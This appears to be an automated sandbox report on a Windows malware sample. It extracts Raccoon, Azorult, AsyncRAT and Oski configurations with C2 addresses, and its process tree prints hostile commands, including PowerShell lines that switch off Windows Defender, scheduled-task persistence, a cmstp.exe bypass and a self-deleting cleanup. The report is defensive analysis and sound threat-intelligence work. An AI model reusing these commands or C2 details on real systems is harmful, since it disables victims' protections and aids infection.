Analysis

  • max time kernel
    104s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    02/01/2021, 08:17

General

  • Target
    877dc825c00e79e1150d80d8308b2839.exe
  • Size 1.1MB
  • Sample210102-5gcnsbr7de
  • SHA256 b7b5a82b1c9b3c2ffeedcc57b2bef35f61c7e93ec2d5ae784f667e4d8d534009
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • raccoon

Botnet
  • e18a70bfe8ead99f8f3ef1f22fb8040f2b9acc85

Attributes
  • url4cnc

    https://telete.in/brikitiki

rc4.plain
rc4.plain

Extracted

Family
  • azorult

C2
  • http://195.245.112.115/index.php

Extracted

Family
  • asyncrat

Version
  • 0.5.7B

C2
  • agentttt.ac.ug:6970

  • agentpurple.ac.ug:6970

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • aes_key

    16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr

  • anti_detection

    false

  • autorun

    false

  • bdos

    false

  • delay

    Default

  • host

    agentttt.ac.ug,agentpurple.ac.ug

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    null

  • port

    6970

  • version

    0.5.7B

aes.plain

Extracted

Family
  • oski

C2
  • malscxa.ac.ug

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 6 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Async RAT payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\877dc825c00e79e1150d80d8308b2839.exe
    "C:\Users\Admin\AppData\Local\Temp\877dc825c00e79e1150d80d8308b2839.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Users\Admin\AppData\Local\Temp\aghkdfgh.exe
      "C:\Users\Admin\AppData\Local\Temp\aghkdfgh.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Users\Admin\AppData\Local\Temp\oghkdfgh.exe
        "C:\Users\Admin\AppData\Local\Temp\oghkdfgh.exe"
        3⤵
        • Executes dropped EXE
        PID:3660
        • C:\Users\Admin\AppData\Local\Temp\oghkdfgh.exe
          "{path}"
          4⤵
            PID:4044
        • C:\Users\Admin\AppData\Local\Temp\aghkdfgh.exe
          "{path}"
          3⤵
          • Executes dropped EXE
          PID:3592
        • C:\Users\Admin\AppData\Local\Temp\aghkdfgh.exe
          "{path}"
          3⤵
          • Executes dropped EXE
          PID:3952
      • C:\Users\Admin\AppData\Local\Temp\877dc825c00e79e1150d80d8308b2839.exe
        "{path}"
        2⤵
        • Loads dropped DLL
        • Drops desktop.ini file(s)
        • Suspicious use of WriteProcessMemory
        PID:4080
        • C:\Users\Admin\AppData\Local\Temp\sMMulpGKYL.exe
          "C:\Users\Admin\AppData\Local\Temp\sMMulpGKYL.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3924
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IAapkDPBpUFkb" /XML "C:\Users\Admin\AppData\Local\Temp\tmp9154.tmp"
            4⤵
            • Creates scheduled task(s)
            PID:3252
          • C:\Users\Admin\AppData\Local\Temp\sMMulpGKYL.exe
            "{path}"
            4⤵
            • Executes dropped EXE
            PID:1712
        • C:\Users\Admin\AppData\Local\Temp\IofD66hwVt.exe
          "C:\Users\Admin\AppData\Local\Temp\IofD66hwVt.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Modifies system certificate store
          PID:2424
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2424 -s 1268
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1276
          • C:\Program Files (x86)\internet explorer\ieinstal.exe
            "C:\Program Files (x86)\internet explorer\ieinstal.exe"
            4⤵
              PID:1956
          • C:\Users\Admin\AppData\Local\Temp\aYKN9d0AFc.exe
            "C:\Users\Admin\AppData\Local\Temp\aYKN9d0AFc.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3124
            • C:\Users\Admin\AppData\Local\Temp\aYKN9d0AFc.exe
              "{path}"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2568
              • \??\c:\windows\SysWOW64\cmstp.exe
                "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\quegpzal.inf
                5⤵
                  PID:2256
            • C:\Users\Admin\AppData\Local\Temp\hR7n0iutIC.exe
              "C:\Users\Admin\AppData\Local\Temp\hR7n0iutIC.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1052
              • C:\Users\Admin\AppData\Local\Temp\hR7n0iutIC.exe
                "{path}"
                4⤵
                • Executes dropped EXE
                • Windows security modification
                PID:2348
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" Get-MpPreference -verbose
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:68
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\877dc825c00e79e1150d80d8308b2839.exe"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1984
              • C:\Windows\SysWOW64\timeout.exe
                timeout /T 10 /NOBREAK
                4⤵
                • Delays execution with timeout.exe
                PID:3020
        • C:\Windows\SysWOW64\DllHost.exe
          C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
          1⤵
            PID:2748
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c start C:\Windows\temp\v3xsrgrd.exe
              2⤵
                PID:1432
                • C:\Windows\temp\v3xsrgrd.exe
                  C:\Windows\temp\v3xsrgrd.exe
                  3⤵
                    PID:204
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "powershell" Get-MpPreference -verbose
                      4⤵
                        PID:2924
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
                        4⤵
                          PID:4296
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
                          4⤵
                            PID:4332
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
                            4⤵
                              PID:4384
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
                              4⤵
                                PID:4452
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
                                4⤵
                                  PID:4532
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
                                  4⤵
                                    PID:4624
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
                                    4⤵
                                      PID:4716
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
                                      4⤵
                                        PID:4808
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
                                        4⤵
                                          PID:4908
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
                                          4⤵
                                            PID:5020
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
                                            4⤵
                                              PID:1044
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
                                              4⤵
                                                PID:3268
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /IM cmstp.exe /F
                                            2⤵
                                            • Kills process with taskkill
                                            PID:1876

                                        Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              memory/68-176-0x00000000097B0000-0x00000000097E3000-memory.dmp

                                              memory/68-152-0x0000000007740000-0x0000000007741000-memory.dmp

                                              memory/68-165-0x0000000007EE0000-0x0000000007EE1000-memory.dmp

                                              memory/68-236-0x00000000099B0000-0x00000000099B1000-memory.dmp

                                              memory/68-158-0x0000000008100000-0x0000000008101000-memory.dmp

                                              memory/68-157-0x0000000007F90000-0x0000000007F91000-memory.dmp

                                              memory/68-166-0x0000000008860000-0x0000000008861000-memory.dmp

                                              memory/68-233-0x00000000099C0000-0x00000000099C1000-memory.dmp

                                              memory/68-156-0x0000000007E20000-0x0000000007E21000-memory.dmp

                                              memory/68-155-0x0000000007630000-0x0000000007631000-memory.dmp

                                              memory/68-189-0x0000000009AB0000-0x0000000009AB1000-memory.dmp

                                              memory/68-171-0x00000000088B0000-0x00000000088B1000-memory.dmp

                                              memory/68-186-0x0000000009770000-0x0000000009771000-memory.dmp

                                              memory/68-188-0x00000000098E0000-0x00000000098E1000-memory.dmp

                                              memory/68-151-0x0000000007020000-0x0000000007021000-memory.dmp

                                              memory/68-149-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/204-167-0x0000000000940000-0x0000000000941000-memory.dmp

                                              memory/204-164-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/1044-225-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/1052-61-0x0000000000590000-0x0000000000591000-memory.dmp

                                              memory/1052-126-0x0000000006CB0000-0x0000000006CEC000-memory.dmp

                                              memory/1052-58-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/1276-91-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                              memory/1276-89-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

                                              memory/1712-134-0x0000000000400000-0x0000000000412000-memory.dmp

                                              memory/1712-139-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/1956-147-0x0000000003270000-0x0000000003271000-memory.dmp

                                              memory/1956-145-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

                                              memory/1956-185-0x0000000003210000-0x0000000003211000-memory.dmp

                                              memory/2256-128-0x0000000004520000-0x0000000004621000-memory.dmp

                                              memory/2348-137-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/2348-132-0x0000000000400000-0x0000000000408000-memory.dmp

                                              memory/2568-99-0x0000000000400000-0x000000000040C000-memory.dmp

                                              memory/2568-104-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/2664-18-0x00000000001A0000-0x00000000001A1000-memory.dmp

                                              memory/2664-71-0x0000000007CA0000-0x0000000007CEF000-memory.dmp

                                              memory/2664-15-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/2924-173-0x0000024D9A170000-0x0000024D9A171000-memory.dmp

                                              memory/2924-172-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/2924-174-0x0000024DB48A0000-0x0000024DB48A1000-memory.dmp

                                              memory/3124-49-0x0000000000D40000-0x0000000000D41000-memory.dmp

                                              memory/3124-46-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/3124-90-0x0000000008830000-0x0000000008869000-memory.dmp

                                              memory/3268-226-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/3372-8-0x0000000008580000-0x0000000008581000-memory.dmp

                                              memory/3372-10-0x00000000088B0000-0x0000000008975000-memory.dmp

                                              memory/3372-5-0x00000000053D0000-0x00000000053D1000-memory.dmp

                                              memory/3372-3-0x00000000005F0000-0x00000000005F1000-memory.dmp

                                              memory/3372-2-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/3372-6-0x0000000004F70000-0x0000000004F71000-memory.dmp

                                              memory/3372-7-0x0000000004F50000-0x0000000004F51000-memory.dmp

                                              memory/3372-9-0x0000000008550000-0x000000000855E000-memory.dmp

                                              memory/3660-75-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/3660-81-0x0000000000890000-0x0000000000891000-memory.dmp

                                              memory/3660-190-0x0000000008370000-0x00000000083D3000-memory.dmp

                                              memory/3924-36-0x0000000073940000-0x000000007402E000-memory.dmp

                                              memory/3924-88-0x00000000083E0000-0x0000000008420000-memory.dmp

                                              memory/3924-40-0x00000000008F0000-0x00000000008F1000-memory.dmp

                                              memory/3952-80-0x0000000000400000-0x0000000000420000-memory.dmp

                                              memory/3952-77-0x0000000000400000-0x0000000000420000-memory.dmp

                                              memory/4044-218-0x0000000000400000-0x0000000000434000-memory.dmp

                                              memory/4044-222-0x0000000000400000-0x0000000000434000-memory.dmp

                                              memory/4080-14-0x0000000000400000-0x0000000000494000-memory.dmp

                                              memory/4080-17-0x0000000000400000-0x0000000000494000-memory.dmp

                                              memory/4296-195-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4332-197-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4384-199-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4452-201-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4532-203-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4624-206-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4716-209-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4808-212-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/4908-215-0x00007FF897580000-0x00007FF897F6C000-memory.dmp

                                              memory/5020-219-0x00007FF897580000-0x00007FF897F6C000-memory.dmp